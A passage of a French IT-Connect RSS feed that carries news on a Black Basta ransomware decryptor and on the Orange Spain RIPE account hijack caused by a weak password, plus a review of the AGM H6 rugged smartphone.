<p><a href="https://www.bleepingcomputer.com/news/security/mandiants-account-on-x-hacked-to-push-cryptocurrency-scam/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/le-compte-x-twitter-de-mandiant-a-ete-pirate-et-utilise-pour-une-arnaque-a-la-cryptomonnaie/">Le compte X (Twitter) de Mandiant a été piraté et utilisé pour une arnaque à la cryptomonnaie !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74235
title: Certaines victimes du ransomware Black Basta peuvent récupérer leurs données grâce à cet outil !
uri: Certaines-victimes-du-ransomware-Black-Basta-peuvent-récupérer-leurs
url: https://www.it-connect.fr/outil-dechiffrement-ransomware-black-basta-buster/
content:
<p><strong>Des chercheurs en sécurité ont mis en ligne un outil de déchiffrement pour le ransomware Black Basta ! Il va permettre à certaines victimes de récupérer une partie de leurs données ! Faisons le point.</strong></p>



<p>Black Basta Buster, c'est le nom de l'outil de déchiffrement mis au point par les chercheurs en sécurité de SRLabs. Cet outil précieux exploite <strong>une faille de sécurité dans l'algorithme de chiffrement </strong>utilisé par le gang de ransomware Black Basta.</p>



<p>Il est à noter que <strong>cet outil de déchiffrement fonctionne pour les victimes dont les données ont été chiffrées entre novembre 2022 et décembre 2023</strong>. Ce n'est pas anodin, car au cours de cette période, le ransomware Black Basta serait responsable de <strong>153 cyberattaques</strong> ! En effet, il s'agit du nombre de victimes n'ayant pas payé la rançon, et qui sont référencées sur le site du gang Black Basta utilisé comme vitrine.</p>



<p>Malheureusement, l'outil Black Basta Buster ne fonctionnera pas pour les nouvelles victimes car<strong> les pirates ont fait le nécessaire à la mi-décembre afin de combler cette faiblesse dans leur ransomware</strong>.</p>



<p>La <a href="https://github.com/srlabs/black-basta-buster" target="_blank" rel="noopener nofollow" title="">page GitHub</a> dédiée à l'outil Black Basta Buster donne des précisions sur son fonctionnement. Ainsi, nous pouvons lire : "<em>Les fichiers d'une taille inférieure à 5000 octets ne peuvent pas être récupérés. Pour les fichiers dont la taille est comprise entre 5 000 octets et 1 Go, une récupération complète est possible. Pour les fichiers d'une taille supérieure à 1 Go, les 5 000 premiers octets seront perdus, mais le reste pourra être récupéré.</em>"</p>



<p>À l'usage, <strong>cet outil ne peut traiter qu'un seul fichier à la fois. </strong>C'est contraignant. Toutefois, il peut s'avérer <strong>utile et efficace pour déchiffrer et récupérer des fichiers de disques virtuels correspondants à des machines virtuelles</strong>. Ce ransomware est d'ailleurs capable de <a href="https://www.it-connect.fr/une-version-specifique-du-ransomware-black-basta-cible-les-serveurs-vmware-esxi/" target="_blank" rel="noopener" title="Une version spécifique du ransomware Black Basta cible les serveurs VMware ESXi">chiffrer les VM sur les serveurs VMware ESXi</a>.</p>



<p>Cet outil a le mérite d'exister et il pourra rendre service à des entreprises victimes du gang Black Basta, qui est l'un des ransomwares les plus actifs au niveau mondial.</p>



<p><a href="https://www.darkreading.com/cloud-security/black-basta-buster-exploits-ransomware-bug-file-recovery" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/outil-dechiffrement-ransomware-black-basta-buster/">Certaines victimes du ransomware Black Basta peuvent récupérer leurs données grâce à cet outil !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73703
title: Test AGM H6 – Un smartphone robuste à 250 euros
uri: Test-AGM-H6-Un-smartphone-robuste-à-250-euros
url: https://www.it-connect.fr/test-agm-h6-un-smartphone-robuste-a-250-euros/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>L'AGM H6 est un smartphone robuste conçu pour résister aux milieux hostiles et pour avoir une longue durée de vie. D'ailleurs, depuis plus de 10 ans, AGM Mobile propose des modèles de smartphones particulièrement résistants et c'est devenu la spécialité de cette marque !</strong> </p>



<p>Que ce soit en tant que particulier ou professionnel, l'achat d'un smartphone dit "incassable" peut s'avérer un choix judicieux notamment si l'on a l'habitude de partir à l'aventure ou simplement si l'on travaille "<em>sur le terrain</em>". De ce fait, nous verrons ce qui différencie le modèle AGM H6 d'un smartphone "classique".</p>



<p>Pour commencer, voici les caractéristiques principales de cet appareil :</p>



<ul>
<li>Écran : taille 6.52 pouces IPS / Résolution HD+ / Taux de rafraichissement 90 Hz</li>



<li>CPU : Spreadtrum T606 avec 8 cœurs (2 x A75 @ 1.6GHz + 6 x A55 @ 1.6GHz)</li>



<li>RAM : 16 Go</li>



<li>Stockage : 256 Go (extensible jusqu'à 512 Go via carte microSD)</li>



<li>Batterie : 4 900 mAh (non amovible) </li>



<li>Bluetooth 5.0</li>



<li>Wi-Fi AC (2,4 GHz et 5 GHz)</li>



<li>NFC</li>



<li>Dual-SIM (4G)</li>



<li>Android 13</li>



<li>Épaisseur : 10,75 mm</li>



<li>Poids : 240 grammes</li>



<li>Prix : 249,99 euros</li>



<li><a href="https://fr.agmmobile.com/products/agm-h6" target="_blank" rel="noopener nofollow" title="">Voir la fiche produit sur le site officiel</a></li>
</ul>



<p>La partie caméra sera détaillée dans la suite de cet article ! Sachez que ce smartphone a plusieurs certifications permettant d'attester de sa résistance : <strong>IP68, IP69K et MIL-STD-810H (norme militaire)</strong>. La certification IP69K signifie que l'appareil est résistant au lavage à haute pression Cela plante le décor !</p>



<p><strong>Pour commander ce smartphone sur Amazon.fr, nous vous invitons à utiliser notre lien :</strong></p>



<ul>
<li><a href="https://amzn.to/481Oj2J" target="_blank" rel="noopener nofollow" title=""><strong>Acheter sur Amazon</strong></a></li>
</ul>



<h2 class="wp-block-heading">II. Package et design</h2>



<p>Le smartphone de chez AGM Mobile est livré dans une boite en carton très sobre au sein de laquelle le smartphone est bien emballé et suffisamment protégé. Il est accompagné par un guide de démarrage rapide, un câble USB-C, un chargeur (dont la prise ne correspond pas à ce que l'on utilise en France), ainsi qu'une planche de stickers à l'effigie de la marque ! Cela signifie qu'il faudra s'équiper de son propre chargeur (ou utiliser un adaptateur).</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/bf92003c.AGM-H6-Package-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1.jpg"><img fetchpriority="high" decoding="async" width="1000" height="752" data-id="73706" src="media/bf92003c.AGM-H6-Package-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1.jpg" alt="" class="wp-image-73706" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/7038b938.AGM-H6-Package-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2.jpg"><img decoding="async" width="1000" height="752" data-id="73705" src="media/7038b938.AGM-H6-Package-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2.jpg" alt="" class="wp-image-73705" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Package-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p></p>



<p>Quand on voit "smartphone robuste" ou "smartphone durci", on peut s'attendre à avoir une brique dans les mains. Et bien, non. Bien qu'un peu plus épais et un peu plus lourd que les smartphones non durcis,<strong> l'esthétique de ce smartphone est soignée et il n'est pas lourd : 240 grammes. </strong>L'arrière du smartphone n'est pas lisse, il y a comme un "grip" permettant que le smartphone ne glisse pas lorsque vous l'avez en main.</p>



<p>Sur le côté gauche, le smartphone contient <strong>un bouton multifonctions</strong> facilement repérable de par sa couleur. C'est également de ce côté que nous pouvons accéder aux emplacements pour cartes SIM et pour la carte mémoire. Sur le côté droit, nous avons un bouton on/off qui permet de réveiller l'appareil et qui intègre<strong> le lecteur d'empreintes</strong>, accompagné par un bouton assez large pour gérer le volume. Ce smartphone prend en charge également le déverrouillage par <strong>reconnaissance faciale</strong>.</p>



<p>Sachez que le bouton multifonctions est personnalisable. Vous pouvez <strong>affecter une action lors d'un appui simple, d'un appui double et d'un appui long</strong>. Ainsi, une même touche peut avoir trois fonctions différentes (activer le flash, ouvrir une application spécifique, prendre un screenshot, etc.).</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/2951d0b9.AGM-H6-Photo-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1.jpg"><img decoding="async" width="1000" height="752" data-id="73708" src="media/2951d0b9.AGM-H6-Photo-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1.jpg" alt="" class="wp-image-73708" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/d42aadb2.AGM-H6-Photo-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2.jpg"><img decoding="async" width="1000" height="752" data-id="73709" src="media/d42aadb2.AGM-H6-Photo-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2.jpg" alt="" class="wp-image-73709" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/02929abf.AGM-H6-Photo-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3.jpg"><img decoding="async" width="1000" height="752" data-id="73707" src="media/02929abf.AGM-H6-Photo-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3.jpg" alt="" class="wp-image-73707" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Photo-3-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p></p>



<p>Grâce à ses différentes certifications et sa conception, ce smartphone se veut résistant aux environnements hostiles !<strong> Il ne craint pas la poussière, ni l'eau, même à forte pression, et il résiste aux chocs (à 1,8 mètre - habituellement, c'est plutôt 1,5 mètre).</strong> </p>



<p>Pour cela, <strong>le port USB-C et la prise casque sont protégés par des caches afin d'assurer l'étanchéité</strong>. À ce sujet, le port USB-C est positionné sur la tranche inférieure du smartphone, tandis que la prise casque est positionnée sur la tranche supérieure. <strong>Les bords sont également plus épais et les 4 coins renforcés. </strong>Pour la protection de l'écran, sachez que le contour de l'écran est surélevé de 0,4 mm au-dessus de l'écran. Enfin, sachez que le coin supérieur gauche intègre une encoche permettant d'<strong>ajouter une dragonne </strong>!</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/455f2b2b.AGM-H6-Zoom-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-2.jpg"><img decoding="async" width="800" height="602" data-id="73718" src="media/455f2b2b.AGM-H6-Zoom-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-2.jpg" alt="" class="wp-image-73718" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-2-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/e2e860b1.AGM-H6-Zoom-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-1.jpg"><img decoding="async" width="800" height="600" data-id="73719" src="media/e2e860b1.AGM-H6-Zoom-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-1.jpg" alt="" class="wp-image-73719" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-1-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-1-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Zoom-1-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p></p>



<p>Grâce à un ensemble de petits détails, l'<strong>AGM H6 sera capable de résister aux situations les plus difficiles pour un smartphone</strong>, notamment à l'eau et aux chutes !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" src="media/52fe329c.AGM-H6-Sous-leau.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Sous-leau.jpg" alt="" class="wp-image-73741" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Sous-leau.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Sous-leau-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Sous-leau-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Sous-leau-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Sous-leau-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">III. Qualité des photos</h2>



<p>L'AGM H6 est équipé d'un module photo principal avec deux capteurs : un capteur 50 mégapixels accompagné par un capteur macro de 2 mégapixels. À l'avant, la caméra pour les selfies est de <strong>8 mégapixels</strong>. AGM Mobile évoque un système <strong>Samsung AI Dual Camera</strong>.</p>



<p><strong>L'appareil photo est acceptable</strong>, disons que nous avons <strong>des résultats satisfaisants lorsque la luminosité est bonne</strong> même si je trouve que c'est un peu pâle au niveau des couleurs. Lorsque la<strong> luminosité est faible</strong>, l'appareil photo est clairement en difficulté. Ce n'est pas du tout le point fort de ce modèle, ce qui n'est pas surprenant : <strong>n'oublions pas qu'il s'agit d'un modèle à 249,99 euros qui mise avant tout sur son côté robuste </strong>!</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/05dc1097.AGM-H6-Qualite-des-photos-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1.jpg"><img decoding="async" width="1200" height="904" data-id="73725" src="media/05dc1097.AGM-H6-Qualite-des-photos-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1.jpg" alt="" class="wp-image-73725" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1-800x603.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1-768x579.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-1-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/ac559a00.AGM-H6-Qualite-des-photos-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2.jpg"><img decoding="async" width="1200" height="904" data-id="73724" src="media/ac559a00.AGM-H6-Qualite-des-photos-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2.jpg" alt="" class="wp-image-73724" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2-800x603.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2-768x579.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Qualite-des-photos-2-50x38.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p></p>



<h2 class="wp-block-heading">IV. Autonomie</h2>



<p>Livré avec une batterie de 4 900 mAh compatible avec la <strong>charge rapide 18 watts</strong>, ce smartphone a <strong>une autonomie d'environ 24 heures</strong> (appels téléphoniques + navigation web), même si tout dépend de ce que l'on fait. Si l'on utilise le smartphone pour lire des vidéos, <strong>l'autonomie est d'environ 8 heures </strong>(pour passer de 100% à 0%).</p>



<p></p>



<h2 class="wp-block-heading">V. Performances, affichage et système</h2>



<p>Le smartphone <strong>AGM H6 </strong>est livré avec le système d'exploitation <strong>Android 13</strong> ! Bien que l'esthétique de l'interface soit retravaillée par AGM Mobile, la bonne nouvelle, c'est qu'<strong>il n'y a pas d'applications superflues</strong>. Nous retrouvons uniquement les applications Google ! C'est appréciable. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="603" height="669" src="media/84646768.AGM-H6-Systeme-Android.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Systeme-Android.jpg" alt="" class="wp-image-73728" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Systeme-Android.jpg 603w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Systeme-Android-550x610.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Systeme-Android-135x150.jpg 135w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Systeme-Android-45x50.jpg 45w" sizes="(max-width: 603px) 100vw, 603px" /></figure>



<p>Dans les paramètres du système, nous retrouvons tous les paramètres habituels d'Android, ainsi qu'un menu dédié pour la gestion du bouton multifonctions. <strong>Ma seule inquiétude réside dans le suivi des mises à jour Android</strong>, notamment pour les mises à jour de sécurité. Pour le moment, le modèle que j'ai pu tester reste bloqué sur le patch de sécurité d'août 2023.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/c0925c25.AGM-H6-Parametres-Android-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-1.jpg"><img decoding="async" width="300" height="672" data-id="73732" src="media/c0925c25.AGM-H6-Parametres-Android-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-1.jpg" alt="" class="wp-image-73732" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-1.jpg 300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-1-67x150.jpg 67w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-1-22x50.jpg 22w" sizes="(max-width: 300px) 100vw, 300px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/076bd06f.AGM-H6-Parametres-Android-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-3.jpg"><img decoding="async" width="300" height="672" data-id="73730" src="media/076bd06f.AGM-H6-Parametres-Android-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-3.jpg" alt="" class="wp-image-73730" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-3.jpg 300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-3-67x150.jpg 67w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-3-22x50.jpg 22w" sizes="(max-width: 300px) 100vw, 300px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/c8c3aa2b.AGM-H6-Parametres-Android-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-2.jpg"><img decoding="async" width="300" height="672" data-id="73731" src="media/c8c3aa2b.AGM-H6-Parametres-Android-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-2.jpg" alt="" class="wp-image-73731" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-2.jpg 300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-2-67x150.jpg 67w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/AGM-H6-Parametres-Android-2-22x50.jpg 22w" sizes="(max-width: 300px) 100vw, 300px" /></a></figure>
</figure>



<p>Au quotidien, l'écran de grande taille est appréciable pour consulter des documents, naviguer sur le web ou regarder des vidéos (même si certains vont préférer les modèles plus compacts). Par contre, lorsque l'on n'est pas face à l'image, celle-ci s'assombrit légèrement (tout dépend de l'angle de vue).</p>



<p>Les performances de l'appareil sont largement suffisantes pour le streaming, mais également pour certains jeux. Je suis parvenu à jouer à Call of Duty Mobile : même si le rendu n'est pas au mieux, le jeu est fluide et l'appareil ne chauffe pas plus que ça !</p>



<blockquote class="wp-block-quote">
<p><strong>Note </strong>: ce smartphone dispose d'une<strong> puce NFC</strong>, ce qui signifie que vous pouvez <strong>réaliser des paiements sans contact via Google Wallet</strong>.</p>
</blockquote>



<h2 class="wp-block-heading">VI. Conclusion</h2>



<p>L'AGM H6 n'est pas qu'un simple smartphone robuste, c'est une fusion parfaite entre la résistance et la durabilité d'une part, et un design convivial d'autre part ! Pour un smartphone durci, il y a un réel effort de fait sur le design et l'encombrement, ce qui mérite d'être souligné. <strong>Ce modèle est plus fin et plus léger que les autres téléphones robustes du marché ! Cela signifie que l'on peut l'avoir comme téléphone au quotidien sans aucun problème !</strong></p>



<p>Sans chercher à en faire trop, l'AGM H6 est un modèle fiable qui va à l'essentiel plutôt que de privilégier l'extravagance. Ce qui le différencie des smartphones "classiques" que l'on a l'habitude d'utiliser, ce sont ses certifications IP68/IP69K et MIL-STD-810H qui font de lui un modèle prêt à affronter tous types d'environnements, du plus humide au plus poussiéreux.</p>



<p>Il ne se contente pas d'offrir des performances suffisantes pour les tâches quotidiennes comme les appels, les emails et la gestion de documents, mais il va plus loin en prenant en charge sans difficulté le streaming vidéo ainsi que certains jeux mobiles. Le fait qu'il soit compatible double SIM est un avantage pour ceux qui voudront le proposer à leur salarié en tant que smartphone professionnel ! Mais attention, il n'est pas compatible 5G (pas de soucis avec la 4G).</p>



<p><strong>Pour 249,99 euros, vous pouvez vous offrir l'AGM H6 : un smartphone qui s'en sort relativement bien dans tous les domaines, et qui en plus, est très solide.</strong></p>



<p><strong>Pour commander ce smartphone sur Amazon.fr, nous vous invitons à utiliser notre lien :</strong></p>



<ul>
<li><a href="https://amzn.to/481Oj2J" target="_blank" rel="noopener nofollow" title=""><strong>Acheter sur Amazon</strong></a></li>
</ul><p>The post <a href="https://www.it-connect.fr/test-agm-h6-un-smartphone-robuste-a-250-euros/">Test AGM H6 – Un smartphone robuste à 250 euros</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74260
title: Piratage d’Orange Espagne : l’accès à Internet perturbé… à cause d’un mot de passe faible !
uri: Piratage-d-Orange-Espagne-l-accès-à-Internet-perturbé-à-c
url: https://www.it-connect.fr/piratage-orange-espagne-acces-a-internet-perturbe-mot-de-passe-faible/
content:
<p><strong>La nouvelle année commence mal chez Orange Espagne : mercredi 3 janvier 2024, le trafic Internet de l'opérateur a été fortement perturbé suite à une attaque informatique ! En cause : un mot de passe beaucoup trop faible ! Voici ce qu'il faut savoir !</strong></p>



<p>Un pirate informatique surnommé "Snow" est parvenu à compromettre le compte RIPE d'Orange Espagne, ce qui lui a permis de perturber les activités de l'un des principaux opérateurs du pays. Pour ceux, qui, comme moi, ignorent ce qu'est un compte RIPE, voici la <a href="https://fr.wikipedia.org/wiki/RIPE_Network_Coordination_Centre" target="_blank" rel="noopener nofollow" title="">définition proposée par Wikipédia</a> : "<em>Le RIPE NCC (Réseaux IP Européens - Network Coordination Centre) est un registre régional d'adresses IP. Il dessert l'Europe et une partie de l'Asie, notamment au Moyen-Orient.</em>"</p>



<p>Ainsi, <strong>pendant plusieurs heures, l'accès à Internet a été perturbé dans toute l'Espagne </strong>puisque le pirate a détourné le trafic BGP de l'opérateur (empêchant une partie du trafic d'aboutir). Pour rappel, le BGP est un protocole de routage utilisé pour Internet, ce qui en fait un protocole très utilisé par les opérateurs.</p>



<p>Le pirate à l'origine de cette cyberattaque a publié sur Twitter plusieurs informations pour en dire plus sur son modus operandi. Nous savons qu'<strong>il a utilisé un malware de type "infostealer" </strong>pour voler les identifiants d'un salarié d'Orange Espagne. Mais bon, il aurait presque pu s'en passer, car <strong>le mot de passe du compte administrateur</strong> donnant accès au compte RIPE est particulièrement ridicule : "<strong>ripeadmin</strong>". </p>



<p>C'est clairement insuffisant, et l'accès à ce compte n'était pas protégé par du MFA. D'ailleurs, dans la foulée, RIPE NCC a publié<a href="https://www.ripe.net/publications/news/ripe-ncc-access-security-breach-investigation" target="_blank" rel="noopener nofollow" title=""> un message </a>pour rappeler l'importance d'activer le MFA sur les comptes d'accès : "Nous encourageons les titulaires de comptes à mettre à jour leurs mots de passe et à activer l'authentification multifactorielle pour leur<em> compte.</em>"</p>



